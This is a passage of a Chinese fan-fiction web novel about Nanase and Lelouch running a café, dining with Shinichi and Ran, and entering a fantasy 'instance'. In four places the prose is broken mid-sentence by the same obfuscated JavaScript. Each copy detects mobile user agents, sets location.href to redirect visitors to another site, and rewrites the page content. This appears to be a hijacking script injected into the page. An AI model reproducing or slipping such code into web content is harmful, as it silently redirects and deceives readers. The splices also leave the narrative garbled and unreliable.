“结合你在游乐场撞见他给工藤喂药，工藤应该是撞破了他们的某个秘密。可在那个监控死角，他们没有选择直接杀死工藤，而是选择使用药物。”鲁路修用自己带入对方的思维，逐步往后推断，“他们能够被保释，有背景是一方面，另一方面也说明他们当时要喂给工藤的药物并不是毒药，不然就算他们背景深厚，也不可能这么快就被放出去。” 鲁路修皱起眉头，他觉得这部分说不通，但从事实反推过去，却只能得出这个结论。 除非那个药物虽然测不出来毒性，却能致死。 考虑到警方的判断依据是成分检测，并不会安排人试药，的确是有一定的漏洞空间可以钻。 所以……是药物本身已经被迫进入了警视厅的视线范围，所以是否灭口反而不重要了？ “七羽，你刚刚说负责问询你的那位警部曾提醒你和知世近来注意安全？” 七羽也不知道鲁路修的思维是如何跳跃到这里的，他再次点头：“对，你想到了什么吗？” “嗯……目前线索还不够多，但我个人认为，他们打算喂给工藤的那个药可能有问题。”注意到门口等待的二人已经结束交谈，鲁路修加快语速，“你为什么不问问看知世呢？” 大概是因为他并不想把无关的人卷进来。 但鲁路修既然提了出来，再结合佐藤警部的话，或许当知世出现在警局成为他的监护人那一刻起，就已经无法置身事外了。 “晚上我给知世去个电话。” “七羽，你好了吗？我请你和L.L.去隔壁寿司店用晚饭吧？”和小兰商量好的工藤推门进来，“本来应该请你们去我家做客的，但我想你们今天应该累了，不如就就近？” 这还是小兰提出来的。 “新一你是感谢人，但如果因为你的感谢加重了七羽他们的负担，那就太不懂事了。” 方才在门外，新一告诉小兰自己的请客计划后，小兰是这么说的。 新一想了想，觉得小兰说得也有道理。 “胁田大叔做寿司很有一手的，无论是普通的握寿司还是高级寿司都很5丁目居民的欢迎。”小兰替新一补充，“我看L.L.刚刚坐的板凳应该是胁田大叔的？正好我们一起还回去。” “可以啊，正好我和L.L.都好久没吃寿司了。”七羽泡好了咖啡，“咖啡带过去喝？我给你们装带子里？” “不用，拿着就行。”新一摆手，从七羽手里把两杯热美式都接了过来，“那咱们直接过去。” 经营咖啡店的第三天，七羽的经济状况有了从无到有的质的飞跃，不仅营业额完成了从0到1的突破，咖啡店也有了都市传说的雏形，是值得庆祝一下。 最棒的是，还是别人请客，不用自己掏钱。 觉得自己赚到了的七羽拉着鲁路修，锁上店门后同新一小兰一起进了隔壁的寿司店。 这家寿司店也不大，几张紧凑摆放的桌子，传统的木质结构装潢，无论是从布局面积还是从员工数量，都和波洛咖啡店差不太多。 他们进来的时候还没到用餐高峰，唯一的店员兼厨师胁田大叔正在清点食材。 听到有客人进门的动静，国字脸的大厨闻声看来。 “是小兰啊，还有新一，哦哦，凳子放门口就行。”胁田大叔和走在前面的小兰新一打着招呼，待七羽提着小凳子和鲁路修进来，蒙着一只眼睛的胁田大叔露出个爽朗的微笑，“原来你们认识啊？坐，里面坐，正好今天到了批新鲜的金枪鱼和海胆，我给你们露两手。” 他们四人在靠里的桌子处落座，听了大厨的话，新一打趣道：“大叔你想谋杀我的钱包啊？” “这是送你们的。” “胁田大叔这是遇见喜事了？” “哈哈，算是吧，托他们隔壁咖啡店的福，我今天都爆单了。” 寿司店的定位和咖啡店不冲突，毕竟咖啡当不了正餐，而能当正餐的披萨也因为西点师的罢工没卖出去多少。 但那些跑来波洛咖啡店打卡、赖着不走的顾客又不可能不吃饭，所以波洛咖啡店的带来的流量自然而然的辐射到了隔壁的寿司店。 “你们看看还想吃点什么，牡丹虾和赤贝的品质也不错，可惜蓝鳍金枪鱼中午卖空了，下午没补到货。”胁田大叔给他们介绍的时候手下的活也没停，“小兰你一会儿回去的时候正好把小五郎的三明治拿走，他刚才打电话跟我订的，我还没来得及给他送上去。” “他又让您做特制三明治了？”小兰无奈道，“总是麻烦您，您没必要这么照顾他。” “哈哈，没事没事，谁让我是小五郎的徒弟呢？” 小兰和胁田寒暄的时候新一把菜单推到七羽二人面前：“你们看看有什么想吃的，不过菜单上有些可能没有，得看胁田大叔有没有进到食材。” 寿司这东西，味道有很大一部分受原材料的影响，优质的原材料才能做出好吃的寿司，所以通常新一和小兰过来都是看胁田大叔进了什么就点什么。 “L.L.知道我的口味，我先去一趟洗手间。” 从今天第一位客人进店开始，七羽的系统就一直有新消息冒出来，可客人太多，他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681641|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整天都没抽出来时间打开消息详情，看看经过一天的卷生卷死，那几个任务都分别有什么进展。 “那边。” 新一给七羽指了方向，然后就开始给L.L.推荐胁田大叔做得散寿司饭，等瞄到七羽进了洗手间，才悄悄问鲁路修要不要和七羽一起去参加他们学校的学园祭。 “你和小兰不是想让七羽cos试试？这正好是个机会，还能帮你们店继续扩大知名度。” 呵，算盘珠子都蹦我脸上。 七羽面无表情的关上隔间拉门。 不过也的确是个机会，刚好能打消工藤的好奇心。 回去和鲁路修商量一下好了，现在最要紧的还是看看任务进度！ 七羽满怀期待的打开任务列表。 主线任务……才干了一天，暂时跳过。 支线任务……有了！ 七羽放大系统信息，从第一条开始查看目前的完成进度。 1.出品一款有口皆牌的王牌产品，并得到至少100位顾客的真心喜欢（4/100）。 等等，这不对吧？怎么只有“4”啊？不会是系统卡了还没统计完吧？ 七羽怀疑是字体太小自己看错了，可他把字体拉大后，数字却没变，还是可怜巴巴的个位数4。 诶？这是什么？ 放大后的数字4右下角有个特别特别迷你的倒三角符号，抱着试试看的心态，七羽点了一下，然后一页翻不到头的顾客评价就挤满了他的视野。 很好，看来这个系统的统计方式还满透明的。 好奇顾客都是怎么评价他们咖啡店的，七羽从第一条开始往下看。 「本田光一：居然会有这么难喝的咖啡，呵，果然是专门靠脸吃饭的网红餐厅，就会搞营销骗小女生钱，我这种优质男之所以会找不见对象，都是这种小白脸的问题。差评！负分！」 七羽：……怎么说呢，这个差评好像并没有冤枉他们？ 好吧，下一条。 「立花蓉子：咖啡难喝，但是店主真漂亮，就是为什么不可以合影？差评！负分！」 …… 这就有点过分了。 再下一条。 「谷口贤治：虽然咖啡很难喝，但闻起来倒是挺香的，而且不知道为什么，喝完了突然有勇气去和凉子告白了。哎，果然被拒绝了，都是那杯该死的咖啡。差评！负分！」 很好，这位应该是拿错了咖啡，喝到了Debuff版本的。 「浅井俊太郎：咖啡很好喝，这是我喝过最好喝最好喝的咖啡，本来是打算今天就离开的，没想到在人生的最后还能喝到这样的美味，或许活下去也不错？」 虽然还没看完，但这个应该是好评了吧？他都喝到完美版本的了。 「浅井俊太郎：再买三杯好了，爸妈和麻美最近都在担心我，也让他们开心一下。等……为什么？怎么会这样？麻美居然说我只是她的服务对象？！这是什么意思？她之前对我的爱，那些温柔体贴，都是骗我的？我居然不是爸妈亲生的？他们早就离婚了，只是一直担忧我的精神状态所以没告诉我？等一下，麻美居然是爸爸的情人？你们在说什么傻话？我知道了，是咖啡的问题对不对？！那家店居然往咖啡里放致幻剂！假的！这些都是我的幻觉！差评！负分！」 …… ………… 你们这群顾客，过分了！ 你的家庭伦理剧和我的咖啡有什么关系啊！ 28.波洛咖啡店 真难得居然有4位顾客给了好评。 七羽木着脸关掉系统界面，象征性的冲了下水。 他算是看出来了，这个支线任务不是那么好做的。 评价里其实也不乏好评，但是被系统真正录入、算了数据的，却只有4个，也就是说仅仅是喜欢还不够，还得真心喜欢。 重点在真心。 有意思的是，七羽发现这4个好评有两个都来自出云家的母女。 所以除了广撒网以量取胜之外，出售“愿望”才是性价比最高的选择。 唔……等一下，最好的选择搞不好是聘请一位专业的咖啡师？ 不知道请一位咖啡师贵不贵？ 要不……去随机副本白嫖一个？ 七羽沉思着推开洗手间的门，打开门的一瞬间他的表情空白了一秒。 等一下，怎么这么多人？ 沉浸在顾客五花八门的评论里，没注意外边动静的七羽看着坐满的吧台与大厅，恍惚间还以为这是在自己店里，而那些在吧台排队买手握寿司的，其实都是在排队等着点咖啡。 “七羽？你们的已经好了，快去吃，不然工藤小子可就都吃了。” 人群中的胁田大叔也不知道是如何在百忙之中发现七羽出来的，只见他招呼七羽的同时手下也没停，几下就捏出来一个饱满圆润的手握，肥厚的三文鱼片配上白米饭，看得七羽都饿了。 不仅如此，胁田大叔还能兼顾排队的顾客。 “别挤别挤，排好队！排在这位顾客后边的就不要再排了！食材不够了！对，就是那位戴黑框眼镜穿棒球外套后面的顾客。” 这就是专业的大厨吗？ 七羽叹为观止。 “你回来的正好，喏，尝尝这个，柿叶寿司，胁田大厨说是奈良那边的特色，他去交流的时候学会的。”鲁路修把倒好了酱油的小碟子放在落座的七羽面前，“芥末你自己加吧，我怕给你加多了。” “谢谢。”七羽往酱油里挤了点芥末，用筷子搅拌的时候往吧台那边扬了扬下巴，“怎么突然这么多人。” “这还不是托你们的福。”新一腮帮子一鼓一鼓的，“你们不是关店了吗？那些白天没空，下了班才去你们店打卡的顾客看你们关门了，又从外边发现我们坐在这，就一窝蜂跑胁田大叔这来了。” 嚼嚼嚼。 新一咕咚一口把嘴里的寿司咽下去，发出满足的声音：“好久没吃到这么美味的蓝鳍金枪鱼大腹了。” “你给七羽留一点啊。”小兰给新一夹了一筷子炙烤后的和牛寿司，让他别再决战只剩下两枚的蓝鳍金枪鱼了，“然后他们进来后没找到你，而胁田大叔刚好做完一盘蓝鳍金枪鱼的手握，就……” 就变成现在这样了。 “也是胁田大厨的手艺好。”面对一桌子的美味寿司，鲁路修却完全不像从物资匮乏的末世出身的人，他每样都尝了一个就不再动筷了，这时正端着热乎的麦茶慢慢喝着，“七羽，刚才你不在的时候工藤邀请我们去参加他们的学园祭，听说会有话剧看，还有一日创意集市。” “对对。” 新一也差不多吃饱了，他苦恼的看着盘子里色彩漂亮极了的散寿司，如果能一口咬下上面铺满的海胆赤贝，那感觉绝对很享受，可是他真的吃不下了。 “我们学校的创意集市校外人也可以申请摊位，只要有本校学生担保，申请下来不难。”新一遗憾的放下筷子，加入了鲁路修的麦茶行列，“到时候卖什么的都有，没记错的话上次有个班卖得考前一对一辅导名额，因为年纪第一在他们班。” 两口干掉一个手握的七羽满眼疑惑。 这都行吗？ “不止行，工藤说他们都卖爆了，直接把年纪第一毕业前所有的辅导机会都卖出去了。”鲁路修不用抬眼就知道七羽想问什么，“工藤建议我们可以和5丁目的几个商家合作开一个摊位，出售创意美食。” 七羽：“我负责构思创意咖啡？” 鲁路修：“不，你负责香薰以及招揽顾客。” 众所周知，波洛咖啡店出品的咖啡可能味道不行，但香味绝对秒杀市面上所有店铺的店内熏香。 而七羽泡咖啡的手艺不行，但长相绝对秒杀娱乐圈绝大部分明星。 “正好知世后天拿员工服来，你可以再定做一身，她肯定会同意的。” 听鲁路修这么说，新一和小兰同时看向七羽：“知世？大道寺知世？” 七羽歪头：“你们认识？” 这个世界有这么小吗？ “也不算，只是她是我妈的定制服装设计师。”新一说，“怎么样，七羽你们要来吗？” “可以是可以。” 七羽思考了一下，觉得反正他都准备借这个机会打消工藤的疑惑了，与其他和鲁路修提，不如趁现在工藤主动邀请时顺势答应下来，省的高中生侦探会多想。 “那就这么说定了！”怕七羽反悔，新一火速敲定，然后他才发现几句话的功夫，桌子上已经是另一副景象了，“……七羽，你是怎么做到吃下这么多的？” 胁田大叔的寿司可都是真材实料，这加一起都有三四碗米饭的量了，要不是亲眼所见，新一真得很难相信这都是七羽的战果。 “如果你从早上七点卷到现在，你也可以。”七羽肯定的说。 消灭掉所有食物，四人不再打扰忙碌的胁田大厨，在新一结完账后帮忙收拾了桌子，把桌子空出来给等位的客人。 约好了下次见面商量学园祭的时间，小兰拎着胁田大叔特意给毛利侦探做得特制三明治上了楼，而新一目送小兰回家后却没有第一时间离开。 “七羽，你这两天……”高中生侦探叫住准备回店的二人，他犹豫了一下，似乎不太拿得准后面的话应不应当说，“在你上洗手间的时候，L.L. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687122|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说你们可能会有招聘咖啡师的计划……” 他看着停下来等他说话的二人，表情中的犹豫很快就被果断取代了。 “我是想说，还请你们最近先不要招募咖啡师。” 新一也知道这有点强人所难，今天波洛咖啡店的客流量他也看到了，只靠七羽和鲁路修两个人的确忙不过来，但无论是出于对七羽救了自己的感谢，还是出于一个公民的责任感，他都必须提醒他们。 七羽和鲁路修对换了一个眼神。 鲁路修问道：“你是听到了什么风声？和七羽救你的事情有关？” “对。”对于没有立案的案件，也就谈不上保密了，再说这部分线索是新一自己找到的，来源和警视厅完全没有关系，自然可以说出来，“来保释那两个袭击者的是加藤制药的御用律师，而加藤制药和……中的不少人都有密切联系。” 新一用食指往天上指了指。 没想到还能在新一这里有意外收获，原本打算回去拜托知世调查的七羽不由得有点心虚。 工藤怀疑他却还来给他送消息，而他却和鲁路修打配合准备通过学园祭彻底把工藤糊弄过去。 “那天晚上的事七羽有跟我提过，既然工藤你提起了，那我有件事想问你。”鲁路修就没有七羽的纠结，见新一起了头，他干脆就直接问了，“能问下你被袭击的原因吗？你是看到了什么，他们打算对你灭口？” “其实我当时没听到什么就被打晕了，但他拽着我头皮的时候我有模糊听到一点。”一想起那晚的事，新一就觉得后脑勺隐隐作痛，“他们说那是组织的新药，正好用我试试看。” 其实他还看到了胶囊上印着的编号，但新一却并没有把这个信息说出来。 他虽然怀疑七羽出现在现场的巧合，怀疑出云晴子跟他说得那个“预知梦”和七羽的咖啡有关，怀疑雾雨弥子案里的部分不合理有七羽的插手。 但总体来讲，不管七羽有什么秘密，他无疑都和黑衣人不是一路人。 新一知道这一点就够了。 所以他并不打算把七羽和鲁路修牵扯进黑衣人的事。 “组织的新药啊……”鲁路修沉吟片刻，回应道，“我知道了，感谢你的提醒。” 新一挥挥手：“应该的，你们理解了就好，那我先回去啦，你们也赶紧回去休息吧。” 透完消息给七羽二人后，新一明显心情放松了不少，高中生侦探跟他们道别后步伐轻快的穿过马路，向工藤宅邸的方向走去。 “七羽，要验证一下你的猜测吗？” 鲁路修收回目光时状似无意的扫过十字路口，那里的马路监控有一个正好能够摄录到他们的位置。 “我最讨厌加班了。” 七羽叹了口气，消失在原地。 “明天一定要找个新咖啡师。” 鲁路修听到风里传来的话，无声的上扬了唇角。 29.波洛咖啡店 波洛咖啡店在转天如常开门了。 由于前一天晚上新一在他们店门口说出了部分有价值的情报，怀疑自家店被监视的七羽被迫跑去做了一晚上保镖，这直接导致七羽没空“督促”咖啡机加班，今天也就没办法走鲁路修所说的精品路子。 一夜未眠的七羽回来的时候虽然没有黑眼圈，但坚持按照人类的方式生存的七羽还是因为缺乏睡眠没什么精神头。 他冲了个澡，给自己泡了杯苦得要死的咖啡，在继续加班和摆烂之间毫不犹豫的选择了后者。 于是仗着自己不会生病，头发都没完全吹干的七羽在鲁路修面前落座，“咕咚咕咚”干了一整杯咖啡，随后在鲁路修悠闲插起一块鸡蛋糕时不住地拿眼睛瞟过去。 五分钟后，鲁路修开始搅拌面前的酸奶碗，七羽终于是忍不住开口了。 “你是不是猜到了？” “没有，只是如果工藤那边真有情况，你肯定早就回来，不会守一晚上。”鲁路修捏着勺子的手停顿了一下，“不过看你的表情，也不是什么收获都没有？” “算是吧。”在工藤宅邸房顶隐身坐了一晚上的七羽说，“工藤隔壁搬来了一个新邻居，这个邻居她……她不会老。” 鲁路修看了过去。 “不，她和你不一样，她只是不会衰老，而不是不老不死。” 这种不会衰老是依靠某种东西填补了细胞端粒实现的，拥有不可逆转的损害，虽然现在看不出来，但再过几年，对方有可能会在路上走着走着，就突然从一名富有吸引力的美女，变成一具被榨干了所有生命力的干尸。 “她很奇怪。”七羽继续说，“我对人类的恶意很敏感，我在她身上感受不到对工藤的恶意，但她又在监视工藤。” “我倒觉得你不用把事情想得太复杂，有时候最简单的方法往往最有效。” 鲁路修舀完了酸奶，瓷制的勺子放下的时候和碗壁碰撞，发出清脆的碰撞声，“比如说，你可以给工藤一包咖啡粉，让他在拜访邻居的时候当稳居礼物送给对方，如果她对工藤感兴趣，一定会抓住机会邀请工藤进去坐坐，拉进一下感情，只要她泡了这袋咖啡，以工藤的敏锐，总能有所发现。” 的确是简单又有效的计划。 七羽觉得鲁路修的方法值得一试，就是这可能会引发别的问题。 比如说，让邻居小姐产生当场泡咖啡的念头很容易，但怕就怕工藤也一起喝了咖啡。 毕竟怎么看工藤都是那种家教不错的，要是对方泡了两杯咖啡，工藤拒绝的话会引起怀疑，可喝了那就…… 就不太妙了。 七羽琢磨着怎么完善里边的细节，鲁路修却已经收拾好了自己的那份餐具。 “这件事不着急，你不是打算招募一个咖啡师吗？按照上次的经验，你还有整个副本的时间可以慢慢完善细节，现在，先吃早饭，一会儿送材料的货车就要到了，我们整理完材料，还得对材料进行预处理，好方便今天开店。” “材料不是还剩好多吗？” “……如果再像昨天那样，咱们店的风评就很难评了。” 如果只是零星几个顾客误拿了咖啡，在店里小小崩溃一下，路过的围观群众还能自发给这种现象脑补出合理的借口。 但昨晚睡觉前刷了Twitter的鲁路修却知道，今天无论如何都不能让拿错咖啡的事情发生了。 主要是网上的评价真的太诡异了，诡异到他们急需一款正常的常驻产品顶替咖啡的销售额。 考虑到难度和七羽咖啡杀手的特性，鲁路修研究过后，最终在一众饮品中选定了手打柠檬茶。 无他，只因为做手打柠檬茶的话，鲁路修就能借口七羽不会泡红茶，把自己从披萨地狱中解放出来。 ——谁家咖啡店卖披萨啊！ 手打柠檬茶就正常多了！ 至少泡茶比揉面轻松多了，还能一泡泡一大桶，而手打柠檬这个最废力气的步骤则可以由七羽代劳。 要知道，上一次鲁路修累成这幅样子，还是一百多年前他和娜娜莉还生活在学园中的时候。 那次要扮演Zero的他让咲世子易容成自己的样子，以鲁路修的身份出现，混淆朱雀的判断，结果咲世子那家伙居然以他的名义答应了所有女孩的邀约。 这直接导致转天鲁路修约会约到脱力。 想到曾经那段已经回不去的日子，鲁路修抿了抿唇。 不过很快，鲁路修就调整好了情绪。 “在你没回来的时候我已经把新菜单编辑好了，今天我们做手打柠檬茶，一会儿等材料到了，咱们先试做一杯。” 试做的结果就是很成功。 果然手打柠檬茶只要够大力，完全捶打出来柠檬的香气，再加上鲁路修自己泡出来的茶汤就会非常之好喝。 感谢现代的便利，其他诸如果糖糖浆之类的东西都可以直接买到成品。 搞定柠檬和茶汤，七羽只需要把冰块和分装好的糖浆倒进去，再大力摇摇，最后点缀上薄荷叶就够了。 于是今天来打卡的顾客发现波洛咖啡店继纯正美式之后，终于又推出了新品。 而且还是味道和香味相匹配的新品! 最重要的是，这款新品需要波洛咖啡店的店长与店员同时完成，也就是说，只要他们一直点新品，藏在厨房里不出来的帅气西点师就会常驻吧台！ 谁能拒绝会对你温柔微笑，嘱咐你“请慢用”的帅气西点师呢？ 所以手打柠檬茶会卖脱销成了顺理成章的事。 好消息是，今天他们不会收到那么多差评了，也不会有人因为喝到带有Debuff的咖啡，情绪上来一怒之下现场去电开除老板，事后跑来店里哭求维权了。 坏消息是鲁路修再次累趴下了。 是他低估了两人都驻守吧台后，客人们的热情。 和面无表情的七羽不同，鲁路修觉得自己的脸都要笑出来工伤了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692644|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不过七羽的咖啡也不是一杯都没卖出去，鲁路修发现今天有一波一起进店的人全都点了七羽的咖啡。 这伙人没在店里喝，不知道拎着拿着咖啡去了哪里。 但问题不大，因为那十几杯咖啡都只是普通难喝的咖啡，左右出不了什么大事。 所以忙成了陀螺的鲁路修也没太过在意。 现在能让他在意的只有一件事，那就是—— “择日不如撞日，我们现在就去抓个咖啡师吧！” 本来还想提前做好计划再出发的鲁路修扣住七羽手腕。 他真的很需要有人帮他分担七羽这个咖啡杀手的负担！ 这高强度996的日子，他是一天都过不下去了！ 他只是不老不死，又不是和七羽一样不是人了！ “可以倒是可以，就是……”七羽在脑子里尝试呼叫BB，呼叫无果后说道，“就是我的系统客服不知道为什么下线了，现在排随机副本可能会发生奇怪的事。” 第一次通关随机副本后，随机副本就成了系统里的一个常驻选项，想排随时都可以排。 就是在BB下线的前提下，七羽不太确定会发生什么。 七羽看着自己幸运那一栏上大大的E，以及鲁路修那跨度超大，保底也是E的幸运值，改口道：“一定会发生奇怪的事。” 不老不死、身负王之力的魔王看向拥有十八个职阶模板的魔法少女。 “你觉得是996可怕一点，还是随机副本可怕一点？” “……” 随机副本有什么可怕的？ 当然是996更可怕啊！ 我要是想996我还会退休吗？ 七羽打开系统界面，看着“真心喜欢”里面雷打不动的数字“4”，以及动都不动的主线任务，勾选了随机副本的选项。 「随机副本抽取中……」 「已抽取副本：《污浊了的忧伤中》」 「前情提要： 日本的横滨是一座属于异能力者的城市，传说在这座城市中存在着一本能够实现任何愿望的“书”。 而现在，这本“书”现身了。」 「任务目标：拿到“书”的所有权。」 「任务时限：15日。」 「目前可选职阶：Foreigner（降临者）、Pretender（伪装者）、Lancer（枪兵）。」 「友情提示：完成任务目标后，你将获得一次邀请机会，你可以邀请一名和你关系达到“信赖”的异能力者，成为你的员工！」 「你已选定职阶：Pretender（伪装者）」 「请选定伪装目标……录入中……」 「录入中……」 「警告！发生未知错误！」 「你正处于特殊状态中！」 「已根据你的特性自动锁定伪装目标：亚路嘉（拿尼加）。」 「传送开始！」 30.污浊了的忧伤中 事情的发展和鲁路修想象中的完全不一样。 确切地说是超出了他想象的太多，多到比当年C.C.失忆的前后性格反差给他的冲击还要大。 具体表现在—— 在一闷棍击打后脖颈的昏迷后，鲁路修是在恐怖的失重中清醒过来的。 他刚睁眼看到面前近在咫尺却越来越远的天空，与遮住半边视线的黑色长发，还没反应过来这个开场意味着什么，就在高空的缺氧中被紧紧抱住了腰。 等一下…… 黑色长发？ 七羽的头发不是深蓝色吗？ 鲁路修在耳边呼啸的狂风中僵硬的完成了一个低头的动作。 与他的动作相对应的是，怀中的“女孩子”也在同时仰起头看向了他。 “七羽？” 看着头顶佩戴绘制着喜怒哀乐四个圆圆表情发带，身着神社巫女服的“女孩子”，鲁路修嗓音干涩。 “她”和七羽有着完全不同的相貌，虽然同样是长发，但“女孩子”的头发却是纯正的黑色，被风掀起的额前碎发隐隐能看出来应该是七羽同款的齐刘海，那双眼睛也不再是鲁路修熟悉的天青色，而是琉璃珠一般的灰蓝色。 此时那双灰蓝色的眼珠正一瞬不瞬的盯着他，目光里带着初次见面一般的好奇，以及一点点微不可察的亲昵依赖。 一时间鲁路修脑中闪过无数的猜测。 所有证据都在揭示“她”与七羽的不同，但鲁路修却直觉“她”就是七羽。 至于为什么会变成这样…… 现在可不是探讨这个问题的好时候，当务之急，他们首先得平安降落。 但不知道为什么，疑似七羽的“女孩子”只是安静看着他，完全没有改变现状的举动或倾向。 ……以这个速度从这个高度摔下去，别说全尸了，能有完整的一块碎片都是蒙天眷顾。 鲁路修可不想体验这种死法。 “七羽——”鲁路修被风刮得眯起了眼，狂风吹散了声音，他不得不夸张的做着口型，让“她”能理解自己在说什么，“先带我下去！” 一直安静的七羽终于在鲁路修说出这句“请求”后有了反应。 “她”可爱的歪了下头，还保留着婴儿肥的脸颊看上去手感十分软糯，“呐，L.L.你能给我你的袖扣吗？” “七羽”问了一个和鲁路修的要求全然无关的问题。 面对年龄看上去将将越过二位数，身高只有一米四的“女孩子”，得到异常提问的鲁路修却顿觉浑身发冷。 哪里不太对劲。 可能是高空的寒流太过寒冷，也可能是缺氧加重了身体上的不适，鲁路修在“七羽”提出要求的这一刻觉得心脏就像被不知名的东西攥紧了，并随着他沉默时间的增加愈发向内收紧。 恐怖的压迫感令鲁路修感觉头脑昏沉，他就像七羽当初第一次突然出现在他面前时那样，有严重的呕吐感。 晚上那份清淡的晚餐在胃口中翻江倒海，酸苦的胆汁被压进了气管，最后变成气沫被咳出。 风压让他说不出话，于是鲁路修干脆把别有袖扣的右手横在了“七羽”面前。 那双天真的灰蓝色眼珠终于从鲁路修脸上移开，目光转到了面前的袖扣上。 “谢谢。” “七羽”露出一个甜美极了的微笑，“她”放开鲁路修，抬手去够鲁路修衣袖上的锆石袖扣。 “她”十分认真的把别着的袖扣取下来，然后郑重的握紧在手心。 完成了一次强求，鲁路修也暂时从低温低压的不适中解脱了出来。 他大口大口吸着气，却被风灌得发出一阵猛烈的咳嗽。 这时，衣服摩擦间发出的窸窸窣窣的声音，才混杂在寒风的尖啸里爬进了鲁路修的耳朵，他迟钝的五感终于上线了。 也是直到此时，鲁路修才发现怀里的“七羽”只是外表打扮得像神社巫女，难以分辨性别的嗓音也是因为此时的年纪还没有经历变声期的缘故，实际上的性别并没有改变。 发现了这一点的鲁路修稍稍松了口气。 “L.L.。”拿到了袖扣的七羽改变了下姿势，他在无法受力的高空违反常理的跪坐在了鲁路修的腹部，小孩子红润的指尖停在鲁路修上衣的第二颗扣子处，七羽眨了眨眼睛，用清脆的童音问道，“能给我你这里的戒指吗？” 他指尖下压，深色的布料在温热的指腹下被压出一褶凹痕，这均匀的一圈下陷刚好把七羽的手指圈了进去，像一枚戴在了食指上的戒指。 那也确实是一枚戒指。 一枚鲁路修还未来得及送出去的戒指。 “不行。” 心脏在被攥紧，受到挤压的心脏泵出的血液越来越少，鲁路修眼前的色彩也变成了雾蒙蒙的灰，晕眩的感觉从大脑皮层蔓延到神经中枢，可鲁路修拒绝的声音却异常的清晰。 七羽不满的鼓起了腮帮子，孩子气的瞪着他。 紧接着，被拒绝的七羽转而提出了另一个更加过分的强求。 “那L.L.，你把Code给我好不好？” 这一次，鲁路修看了他两秒，就在七羽以为自己又要得到一个拒绝时，鲁路修点头了。 “好。” 简短至极的应允让七羽笑弯了眼睛。 按在第二个纽扣处的手指移动到了锁骨的位置，隔着衣领，鲁路修只觉Code的印记烫得惊人。 一枚暗红色的水晶在七羽的掌心成型，最终和那枚锆石袖扣躺在了一起。 “L.L.！” 他们距离地面越来越近，下方隐隐有模糊的嘶吼传来，空气中漂浮着噪点一样的白色“雪花”。 七羽被风卷起的黑色长发与某个游曳的“雪花”擦肩而过，鲁路修亲眼看着那一缕发尾凭空消失了。 “你当我的哥哥——” 他们距离天空愈远，距离大地愈近。 鲁路修面向天空，背后是随着他们越来越近而逐渐清晰的喊杀声。 “哒哒哒”的机枪扫射伴随着弹壳落地的清脆声响，以及从他们身旁冒着烟坠落的武装直升机，都在这漫长的一秒钟内被无限拉长。 “好不好——” 七羽大声的喊出了最后的问题。 鲁路修的心跳平稳了下来。 “仅此一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699802|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次，下不为例。” 与此同时，干掉了最后一名“吸血鬼”的中原中也用手背抹了下眼尾溅上的污血，从战场的另一端望了过来。 正好与七羽黑洞洞的眼睛对上视线。 肤色突兀转变为死人般苍白的七羽咧开嘴，露出一个诡异的微笑，全黑的眼睛弯成了月牙。 七羽用力点头的同时，用变了调子后听不出性别的声音慢吞吞的答应了鲁路修的请求。 “好。” 他们平安降落在了战场中央。 * 港口Mafia的地牢里。 鲁路修无论如何也想不到，虽然副本开局的方式不同，但结局却殊途同归—— 从天而降卷入黑/手/党与吸血鬼之间战争的他们又一起进了地牢。 好在这次，关押他们的至少是人类，最多在一通刑讯后，把他们的尸体拉出去沉河，再怎么也离谱不到像变种人那样，让他们清醒的看着自己被一口一口生生吃掉。 观察完牢房对面挂着的刑具后，已经失去Code的鲁路修接受良好的移开视线，看向在他身边抱膝而坐的七羽。 只有一米四的七羽蜷在身后，只有很小的一只，黑色的长发铺在地上，中间的发尾缺了很小的一块。 “能解释一下现在的情况吗？” 地牢当然是有监控的，鲁路修也知道，此时监控的对面，一定坐着一屋子人，正准备着逐帧分析他们的一举一动。 嗯…… 谁让他Gease了对方组织在战场的所有活人呢？ 要不是那个头戴帽子的橘发男人在关键时刻闭上了眼，估计现在他们已经是这个组织新的首领了。 